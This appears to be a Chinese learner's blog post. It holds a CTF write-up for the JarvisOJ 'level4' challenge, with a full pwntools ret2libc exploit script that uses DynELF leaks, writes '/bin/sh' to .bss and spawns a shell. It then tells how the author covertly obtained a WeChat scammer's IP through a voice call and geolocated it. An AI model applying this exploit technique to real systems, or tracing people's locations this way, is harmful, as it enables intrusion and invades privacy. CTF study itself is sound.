在第二次感受火狐崩溃带来的绝望之后,在此立誓,再也不用火狐写博客
IDA打开查看一下伪代码:
图没截全,罢啦罢啦!那vul函数就看汇编吧
可看出,我们输入的字符串与ebp距离为0x88
checksec查看,开了nx保护
ROPgadget查看,没有‘/bin/sh’
详细教程:https://blog.csdn.net/u011987514/article/details/68490157
然后查看,有system(好像开了ASLR所以会变)在没有libc.so的时候,我们用DynELF模块来确定system的地址
构造leak
函数:
def leak(address):
payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
p.sendline(payload1)
data = p.recv(4)
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
这段函数能从内存中address
处dump
出4字节
数据,函数执行结束后会返回main
函数重新执行,也就是说利用这个函数,我们可以dump
出整个libc
DynELF
模块查找system
函数地址:d = DynELF(leak,elf=ELF('./level4'))
sys_addr = d.lookup('system','libc')
有了获取libc的方法之后,就只要将‘/bin/sh’能保存到.bss断中,就可以执行system('/bin/sh')
首先我们要有bss的地址用来将输入的'/bin/sh'保存 利用bss_addr = elf.bss()得到bss地址
构造payload1 = 填充字符+read函数+read函数的返回地址(main)+第一个参数(0)+第二个参数bss_addr+第三个参数(8)
这个payload可以将'/bin/sh'读取,保存到bss段
然后构造第三个payload = 填充字符+system函数地址+'bbbb'+binsh(bss_addr)
脚本如下:
from pwn import *
sh = remote("pwn2.jarvisoj.com",9880)
e = ELF('./level4')
bss_addr = e.bss()
write_plt = e.symbols['write']
read_plt = e.symbols['read']
vul_addr = e.symbols['vulnerable_function']
print '[+]--------------get address-------------'
def leak(address):
payload = 'a'*140 +p32(write_plt)+p32(vul_addr)+p32(1)+p32(address)+p32(4)
sh.send(payload)
leak_addr = sh.recv(4)
return leak_addr
d = DynELF(leak,elf=e)
sys_addr = d.lookup('system','libc')
print 'success'+hex(sys_addr)
print '[+]-----------send payload1------------------'
payload1 = 'a'*140 +p32(read_plt)+p32(vul_addr)+p32(0)+p32(bss_addr)+p32(8)
sh.send(payload1)
sh.send('/bin/sh\x00')
print '[+]-----------send payload2------------------'
payload2 = 'a'*140 +p32(sys_addr)+'bbbb'+p32(bss_addr)
sh.send(payload2)
sh.interactive()
-------------------------------------------------------------------------------------------------------------------------------------------------------------
今天在外力作用下,搞了一波社工,所以耽误了真正的学习计划,还是记录一下
实现了第一次顺着网线吊打微信诈骗,其实知道的信息还挺多,知道了对方的座机号,银行卡号,微信号
然后从微信入手,在夜神模拟器里面装了微信,然后下载了IP雷达
开启IP雷达之后,给对方拨打语音电话,就可以看出对方IP,再通过IP定位网站,定位到骗子的所在地。
下面是关于微信定位的几个教程,还有定位网站:
https://www.52pojie.cn/thread-634989-1-1.html
https://www.52pojie.cn/thread-626021-1-1.html
https://www.52pojie.cn/thread-638554-1-1.html
突然觉得社工还是要学的,不然被骗了还手的能力都没有,这个假期的学习目标又多了一样